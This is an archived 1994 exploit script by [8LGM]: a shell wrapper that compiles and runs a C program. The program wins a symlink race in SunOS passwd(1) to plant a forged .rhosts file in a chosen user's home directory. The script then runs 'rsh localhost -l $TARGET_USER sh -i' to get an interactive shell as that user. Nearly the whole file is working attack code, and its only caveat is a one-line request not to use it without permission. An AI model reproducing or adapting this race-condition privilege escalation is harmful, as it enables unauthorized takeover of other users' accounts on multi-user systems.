home *** CD-ROM | disk | FTP | other *** search
- #!/bin/sh
-
- #
-
- # Syntax: passwdscript target-user
-
- #
-
- # This exploits a flaw in SunOS passwd(1), and attempts
-
- # to become the specified 'user', by creating a .rhosts
-
- # file and using rsh.
-
- #
-
- # Written 1994 by [8LGM]
-
- # Please do not use this script without permission.
-
- #
-
- PATH=/usr/ucb:/usr/bin:/bin export PATH
-
- IFS=" " export IFS
-
-
-
- PROG="`basename $0`"
-
-
-
- # Check args
-
- if [ $# -ne 1 ]; then
-
- echo "Syntax: $PROG user target-file rsh-user"
-
- exit 1
-
- fi
-
- TARGET_USER="$1"
-
-
-
- # Check we're on SunOS
-
- if [ "x`uname -s`" != "xSunOS" ]; then
-
- echo "Sorry, this only works on SunOS"
-
- exit 1
-
- fi
-
-
-
- # Make the race program
-
- cat >passwdrace.c << 'EOF'
-
- #include <sys/types.h>
-
- #include <sys/stat.h>
-
- #include <unistd.h>
-
- #include <fcntl.h>
-
- #include <stdio.h>
-
- #include <signal.h>
-
- #include <pwd.h>
-
-
-
-
-
- main(argc, argv)
-
- int argc;
-
- char *argv[];
-
- {
-
- FILE *passwd_in, *passwd_out;
-
- int race_child_pid = -1;
-
- struct stat st;
-
- struct passwd *pw;
-
- char pwd_link[256], pwd_dir[256], pwd_file[256], ptmp[256],
-
- buf[1024], cmd[256], nowhere[256], nowhere2[256],
-
- dir[256];
-
-
-
- if (argc != 2) {
-
- fprintf(stderr, "Usage: %s target-user\n",
-
- argv[0]);
-
- exit(1);
-
- }
-
-
-
- /*
-
- * Get Target User info
-
- */
-
- if ((pw = getpwnam(argv[1])) == NULL) {
-
- fprintf(stderr, "%s: user \"%s\" doesnt seem to exist.\n",
-
- argv[0], argv[1]);
-
- exit(1);
-
- }
-
- strcpy(dir, pw->pw_dir);
-
-
-
- /*
-
- * Set up names for directories/links we will access
-
- */
-
- sprintf(pwd_link, "/tmp/passwd-link.%d", getpid());
-
- sprintf(pwd_dir, "/tmp/passwd-dir.%d", getpid());
-
- sprintf(nowhere, "/tmp/passwd-nowhere.%d", getpid());
-
- sprintf(nowhere2, "/tmp/passwd-nowhere2.%d", getpid());
-
- sprintf(ptmp, "%s/ptmp", dir);
-
- symlink(pwd_dir, pwd_link);
-
-
-
- /*
-
- * Build temp password file in /tmp/passwd-dir.$$/.rhosts.
-
- * The bigger our 'passwd file', the longer passwd(1) takes
-
- * to write it out, the greater chance we have of noticing
-
- * it doing so and winning the race.
-
- */
-
- mkdir(pwd_dir, 0700);
-
- sprintf(pwd_file, "%s/.rhosts", pwd_dir);
-
- if ((passwd_out = fopen(pwd_file, "w+")) == NULL) {
-
- fprintf(stderr, "Cant open %s!\n", pwd_file);
-
- exit(1);
-
- }
-
- if ((passwd_in = fopen("/etc/passwd", "r")) == NULL) {
-
- fprintf(stderr, "Cant open /etc/passwd\n");
-
- exit(1);
-
- }
-
- if ((pw = getpwuid(getuid())) == NULL) {
-
- fprintf(stderr, "Who are you?\n");
-
- exit(1);
-
- }
-
- fprintf(passwd_out, "localhost %s ::::::\n", pw->pw_name);
-
- for (;;) {
-
- fseek(passwd_in, 0L, SEEK_SET);
-
- while(fgets(buf, sizeof(buf), passwd_in))
-
- fputs(buf, passwd_out);
-
- if (ftell(passwd_out) > 32768)
-
- break;
-
- }
-
- fclose(passwd_in);
-
- fflush(passwd_out);
-
-
-
- /*
-
- * Fork a new process. In the parent, run passwd -F.
-
- * In the child, run the race process(es).
-
- */
-
- if ((race_child_pid = fork()) < 0) {
-
- perror("fork");
-
- exit(1);
-
- }
-
- if (race_child_pid) {
-
- /*
-
- * Parent - run passwd -F
-
- */
-
- sprintf(pwd_file, "%s/.rhosts", pwd_link);
-
- puts("Wait until told you see \"Enter your password now!\"");
-
- sprintf(cmd, "/usr/bin/passwd -F %s", pwd_file);
-
- system(cmd);
-
- kill(race_child_pid, 9);
-
- exit(0);
-
- } else {
-
- /*
-
- * Child
-
- */
-
- int fd = fileno(passwd_out);
-
- time_t last_access;
-
-
-
- /*
-
- * Remember the current 'last accessed'
-
- * time for our password file. Once this
-
- * changes it, we know passwd(1) is reading
-
- * it, and we can switch the symlink.
-
- */
-
- if (fstat(fd, &st)) {
-
- perror("fstat");
-
- exit(1);
-
- }
-
- last_access = st.st_atime;
-
-
-
- /*
-
- * Give passwd(1) a chance to start up.
-
- * and do its initialisations. Hopefully
-
- * by now, its asked the user for their
-
- * password.
-
- */
-
- sleep(5);
-
- write(0, "Enter your password now!\n",
-
- sizeof("Enter your password now!\n"));
-
-
-
- /*
-
- * Link our directory to our target directory
-
- */
-
- unlink(pwd_link);
-
- symlink(dir, pwd_link);
-
-
-
- /*
-
- * Create two links pointing to nowhere.
-
- * We use rename(2) to switch these in later.
-
- * (Using unlink(2)/symlink(2) is too slow).
-
- */
-
- symlink(pwd_dir, nowhere);
-
- symlink(dir, nowhere2);
-
-
-
- /*
-
- * Wait until ptmp exists in our target
-
- * dir, then switch the link.
-
- */
-
- while ((open(ptmp, O_RDONLY)==-1));
-
- rename(nowhere, pwd_link);
-
-
-
- /*
-
- * Wait until passwd(1) has accessed our
-
- * 'password file', then switch the link.
-
- */
-
- while (last_access == st.st_atime)
-
- fstat(fd, &st);
-
- rename(nowhere2, pwd_link);
-
- }
-
- }
-
- EOF
-
- cc -O -o passwdrace passwdrace.c
-
-
-
- # Check we now have passwdrace
-
- if [ ! -x "passwdrace" ]; then
-
- echo "$PROG: couldnt compile passwdrace.c - check it out"
-
- exit 1
-
- fi
-
-
-
- # Start passwdrace
-
- ./passwdrace $TARGET_USER
-
-
-
- # Try to rsh
-
- rsh localhost -l $TARGET_USER sh -i
-
- exit 0
-
-
-